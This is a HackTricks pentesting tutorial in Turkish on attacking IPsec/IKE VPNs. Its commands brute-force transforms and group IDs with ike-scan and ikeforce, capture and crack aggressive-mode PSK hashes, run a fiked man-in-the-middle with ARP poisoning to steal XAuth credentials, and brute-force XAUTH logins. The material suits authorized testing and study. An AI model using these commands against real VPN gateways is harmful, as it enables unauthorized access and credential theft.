hacktricks/network-services-pentesting/ipsec-ike-vpn-pentesting.md

19 KiB
Raw Blame History

500/udp - IPsec/IKE VPN Pentesting

AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:

Try Hard Güvenlik Grubu

{% embed url="https://discord.gg/tryhardsecurity" %}


Temel Bilgiler

IPsec, ağlar arasındaki iletişimi (LAN'dan LAN'a) güvence altına almak için başlıca teknoloji olarak kabul edilir ve uzaktan kullanıcıların ağ geçidine (uzaktan erişim) iletişimini güvence altına alır, kurumsal VPN çözümleri için omurga görevi görür.

İki nokta arasında bir güvenlik birliği (SA) oluşturulması, kimlik doğrulama ve anahtar değişimi için tasarlanmış bir protokol olan IKE tarafından yönetilir ve ISAKMP'nin çatısı altında çalışır. Bu süreç birkaç aşamada gerçekleşir:

  • Faz 1: İki uç nokta arasında güvenli bir kanal oluşturulur. Bu, bir Ön Paylaşılan Anahtar (PSK) veya sertifikalar kullanılarak, üç çift mesaj içeren ana mod veya agresif mod kullanılarak başarılır.
  • Faz 1.5: Zorunlu olmasa da, Bu aşama, Kullanıcı kimliğini doğrulayan ve kullanıcıdan bir kullanıcı adı ve şifre isteyen Genişletilmiş Kimlik Doğrulama Aşaması olarak bilinir.
  • Faz 2: Bu aşama, ESP ve AH ile verileri güvence altına almak için parametreleri müzakere etmeye adanmıştır. Faz 1'dekilerden farklı algoritmaların kullanılmasına izin verir ve Mükemmel İleri Gizlilik (PFS) sağlayarak güvenliği artırır.

Varsayılan port: 500/udp

nmap kullanarak hizmeti keşfedin

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Geçerli bir dönüşüm bulma

IPSec yapılandırması yalnızca bir veya birkaç dönüşümü kabul etmek üzere hazırlanabilir. Bir dönüşüm, değerlerin bir kombinasyonudur. Her dönüşüm, DES veya 3DES gibi şifreleme algoritması, SHA veya MD5 gibi bütünlük algoritması, önceden paylaşılan bir anahtar gibi kimlik doğrulama türü, anahtar dağıtım algoritması olarak Diffie-Hellman 1 veya 2 ve 28800 saniye olarak ömür gibi birçok özelliği içerir.

Bu nedenle, yapmanız gereken ilk şey, sunucunun sizinle iletişim kurmasını sağlayacak geçerli bir dönüşüm bulmaktır. Bunu yapmak için ike-scan aracını kullanabilirsiniz. Varsayılan olarak, Ike-scan ana modda çalışır ve bir ISAKMP başlığı ve içinde sekiz dönüşüm bulunan tek bir teklifle bir paket gönderir.

Yanıta bağlı olarak, uç nokta hakkında bazı bilgiler elde edebilirsiniz:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

Eski yanıtta görebileceğiniz gibi, AUTH adında bir alan var ve değeri PSK. Bu, vpn'in bir önceden paylaşılan anahtar kullanılarak yapılandırıldığı anlamına gelir (ve bu gerçekten bir pentester için iyidir).
Son satırın değeri de çok önemlidir:

  • 0 dönüş el sıkışması; 0 dönüş bildirimi: Bu, hedefin bir IPsec ağ geçidi olmadığını gösterir.
  • 1 dönüş el sıkışması; 0 dönüş bildirimi: Bu, hedefin IPsec için yapılandırıldığını ve IKE müzakeresi yapmaya istekli olduğunu ve önerdiğiniz dönüşlerden bir veya daha fazlasının kabul edilebilir olduğunu gösterir (geçerli bir dönüş çıktıda gösterilecektir).
  • 0 dönüş el sıkışması; 1 dönüş bildirimi: VPN ağ geçitleri, önerdiğiniz dönüşlerin hiçbirinin kabul edilebilir olmadığında bir bildirim mesajı ile yanıt verir (ancak bazı ağ geçitleri bunu yapmaz, bu durumda daha fazla analiz ve revize edilmiş bir öneri denemelisiniz).

Bu durumda zaten geçerli bir dönüşümüz var ancak 3. durumdaysanız, geçerli bir dönüşüm bulmak için biraz kaba kuvvet uygulamanız gerekir:

Öncelikle tüm olası dönüşümleri oluşturmanız gerekmektedir:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

Ve ardından her birini ike-scan kullanarak kaba kuvvet saldırısı yapın (bu birkaç dakika sürebilir):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

Eğer brute-force çalışmadıysa, belki sunucu el sıkışmalar olmadan bile geçerli dönüşümlere yanıt veriyor. O zaman aynı brute-force'u dene ancak agresif modu kullanarak:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Umarım geçerli bir dönüşüm yansıtılır.
Aynı saldırıyı yapmayı deneyebilirsiniz iker.py kullanarak.
Ayrıca dönüşümleri kaba kuvvet saldırısıyla deneyebilirsiniz ikeforce:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

DH Grubu: 14 = 2048-bit MODP ve 15 = 3072-bit olarak belirtilir. 2 = HMAC-SHA = SHA1 (bu durumda). --trans formatı ise $Enc,$Hash,$Auth,$DH şeklindedir.

Cisco, DH grupları 1 ve 2'nin yeterince güçlü olmadığını belirtir. Uzmanlar, kaynakları bol olan ülkelerin, bu zayıf grupları kullanan verilerin şifresini kolayca çözebileceğine inanmaktadır. Bu, kodları hızlıca kırmak için onları hazırlayan özel bir yöntem kullanılarak gerçekleştirilir. Bu yöntemi kurmak oldukça pahalı olmasına rağmen, bu güçlü ülkelerin, veriler şifrelenmişse ve zayıf bir grup kullanılıyorsa (örneğin 1,024-bit veya daha küçük), bu verileri gerçek zamanlı olarak okumalarına olanak tanır.

Sunucu parmak izi alma

Daha sonra, cihazın üreticisini keşfetmek için ike-scan kullanabilirsiniz. Araç, bir başlangıç teklifi gönderir ve yeniden çalmayı durdurur. Ardından, sunucudan alınan mesajlar ile eşleşen yanıt deseni arasındaki zaman farkını analiz ederek, pentester VPN ağ geçidinin üreticisini başarılı bir şekilde belirleyebilir. Ayrıca, bazı VPN sunucuları IKE ile isteğe bağlı Vendor ID (VID) yükü kullanacaktır.

Gerekirse geçerli dönüşümü belirtin (using --trans)

Eğer IKE, üreticiyi keşfederse, bunu yazdıracaktır:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Bu ayrıca nmap betiği ike-version ile de başarılabilir.

Doğru Kimliği (grup adını) Bulma

Hash'i yakalamanıza izin verilmesi için Agresif modu destekleyen geçerli bir dönüşüm ve doğru kimliğe (grup adı) ihtiyacınız vardır. Muhtemelen geçerli grup adını bilmeyeceksiniz, bu yüzden bunu kaba kuvvet uygulayarak bulmanız gerekecek.
Bunu yapmak için size 2 yöntem öneririm:

ike-scan ile Kimliği Kaba Kuvvet Yöntemi

Öncelikle, hash'i toplamayı deneyerek sahte bir kimlikle bir istekte bulunun ("-P"):

ike-scan -P -M -A -n fakeID <IP>

Eğer hiçbir hash döndürülmezse, o zaman muhtemelen bu kaba kuvvet saldırısı yöntemi işe yarayacaktır. Eğer bir hash döndürülürse, bu, sahte bir kimlik için sahte bir hash'in geri gönderileceği anlamına gelir, bu nedenle bu yöntem kimliği kaba kuvvetle çözmek için güvenilir olmayacaktır. Örneğin, sahte bir hash döndürülebilir (bu modern sürümlerde meydana gelir):

Ancak dediğim gibi, hiçbir hash döndürülmezse, o zaman ike-scan kullanarak yaygın grup adlarını kaba kuvvetle denemelisiniz.

Bu betik mümkün olan kimlikleri kaba kuvvetle deneyecek ve geçerli bir el sıkışması döndürülen kimlikleri geri döndürecektir (bu geçerli bir grup adı olacaktır).

Belirli bir dönüşüm keşfettiyseniz, bunu ike-scan komutuna ekleyin. Ve birden fazla dönüşüm keşfettiyseniz, hepsini denemek için yeni bir döngü eklemekte özgürsünüz (bunlardan biri düzgün çalışana kadar hepsini denemelisiniz).

İkeforce'un grup adları sözlüğünü veya seclists'teki yaygın grup adları listesini kaba kuvvetle denemek için kullanabilirsiniz:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

İker ile ID'nin Bruteforce Edilmesi

iker.py ayrıca ike-scan kullanarak olası grup adlarını bruteforce etmek için kendi yöntemini izler. ike-scan çıktısına dayanarak geçerli bir ID bulmak için kendi yöntemini izler.

ikeforce ile ID'nin Bruteforce Edilmesi

ikeforce.py aynı zamanda ID'leri bruteforce etmek için kullanılabilecek bir araçtır. Bu araç, farklı zayıflıkları sömürmeye çalışacaktır ve geçerli ve geçersiz bir ID arasındaki farkı belirlemek için (yanlış pozitif ve yanlış negatifler olabilir, bu yüzden mümkünse ike-scan yöntemini tercih ederim).

Varsayılan olarak ikeforce, sunucunun davranışını kontrol etmek ve kullanılacak taktiği belirlemek için başlangıçta bazı rastgele ID'ler gönderecektir.

  • İlk yöntem, Cisco sistemlerinin Dead Peer Detection DPD bilgisini arayarak grup adlarını bruteforce etmektir (bu bilgi yalnızca grup adı doğru olduğunda sunucu tarafından yanıtlanır).
  • Mevcut olan ikinci yöntem, her denemeye gönderilen yanıtların sayısını kontrol eder çünkü bazen doğru ID kullanıldığında daha fazla paket gönderilir.
  • Üçüncü yöntem, yanlış ID'ye yanıt olarak "INVALID-ID-INFORMATION" aramaktır.
  • Son olarak, sunucu kontrollerine hiçbir yanıt vermezse, ikeforce sunucuyu bruteforce edecek ve doğru ID gönderildiğinde sunucunun bir paketle yanıt verip vermediğini kontrol edecektir.
    ıkça, ID'yi bruteforce etme amacı, geçerli bir ID'ye sahip olduğunuzda PSK'yi almak içindir. Ardından, ID ve PSK ile XAUTH'ı bruteforce etmeniz gerekecektir.

Eğer belirli bir dönüşüm keşfettiyseniz, bunu ikeforce komutuna ekleyin. Ve birden fazla dönüşüm keşfettiyseniz, hepsini denemek için yeni bir döngü eklemekte özgürsünüz (doğru çalışana kadar hepsini denemelisiniz).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(Kitap Ağ Güvenliği Değerlendirmesi: Ağınızı Tanıyın'dan): Ayrıca, VPN istemcisi ve sunucusu arasındaki bağlantıyı dinleyerek geçerli kullanıcı adlarını elde etmek mümkündür, çünkü istemci kimliğini içeren ilk saldırgan mod paketi açık bir şekilde gönderilir

Hash yakalama ve kırma

Son olarak, Eğer bir geçerli dönüşüm ve grup adı bulduysanız ve saldırgan mod izin veriliyorsa, o zaman çok kolayca kırılabilir hash'i yakalayabilirsiniz:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

Hash değeri hash.txt dosyasının içine kaydedilecektir.

Hash değerini çözmek için psk-crack, john ( ikescan2john.py kullanarak) ve hashcat kullanabilirsiniz:

psk-crack -d <Wordlist_path> psk.txt

XAuth

Agresif mod IKE genellikle grup kimlik doğrulama amaçları için Ön Paylaşılan Anahtar (PSK) ile birleştirilir. Bu yöntem, Genişletilmiş Kimlik Doğrulama (XAuth) ile desteklenir ve ek bir kullanıcı kimlik doğrulama katmanı ekler. Bu tür kimlik doğrulama genellikle Microsoft Active Directory, RADIUS veya benzeri sistemler gibi hizmetlerden yararlanır.

IKEv2'ye geçişte, kullanıcıları doğrulamak amacıyla XAuth yerine EAP (Genişletilebilir Kimlik Doğrulama Protokolü) kullanıldığı gözlemlenir. Bu değişiklik, güvenli iletişim protokollerinde kimlik doğrulama uygulamalarında bir evrimi vurgular.

Kimlik bilgilerini yakalamak için Yerel Ağ MitM

Böylece, fiked kullanarak giriş verilerini yakalayabilir ve herhangi bir varsayılan kullanıcı adı olup olmadığını görebilirsiniz (IKE trafiğini fiked'e yönlendirmeniz ve bu amaçla ARP zehirlemesi yapmanız gerekmektedir, daha fazla bilgi). Fiked, bir VPN uç noktası olarak hareket edecek ve XAuth kimlik bilgilerini yakalayacaktır:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

ikeforce ile XAUTH kullanıcı adı ve şifrelerinin kaba kuvvet saldırısı

XAUTH'u (geçerli bir grup adı id ve psk'yi bildiğinizde) kaba kuvvet saldırısı yapmak için bir kullanıcı adı veya kullanıcı adı listesi ve bir şifre listesi kullanabilirsiniz:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

Bu şekilde, ikeforce, her kullanıcı adı:şifre kombinasyonunu kullanarak bağlantı deneyecektir.

Eğer bir veya birkaç geçerli dönüş bulduysanız, bunları önceki adımlarda olduğu gibi kullanın.

IPSEC VPN ile Kimlik Doğrulama

Kali'de, IPsec tünelleri kurmak için VPNC kullanılır. Profiller /etc/vpnc/ dizininde bulunmalıdır. Bu profilleri vpnc komutunu kullanarak başlatabilirsiniz.

Aşağıdaki komutlar ve yapılandırmalar, VPNC ile VPN bağlantısı kurma sürecini açıklamaktadır:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

Bu kurulumda:

  • [VPN_GATEWAY_IP]'yi VPN ağ geçidinin gerçek IP adresi ile değiştirin.
  • [VPN_CONNECTION_ID]'yi VPN bağlantısının tanımlayıcısı ile değiştirin.
  • [VPN_GROUP_SECRET]'ı VPN'in grup şifresi ile değiştirin.
  • [VPN_USERNAME] ve [VPN_PASSWORD]'ı VPN kimlik doğrulama kimlik bilgileri ile değiştirin.
  • vpnc başlattığında atanacak olan işlem kimliğini [PID] sembolize eder.

VPN'yi yapılandırırken yer tutucuların yerine gerçek, güvenli değerlerin kullanıldığından emin olun.

Referans Materyali

Shodan

  • port:500 IKE

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: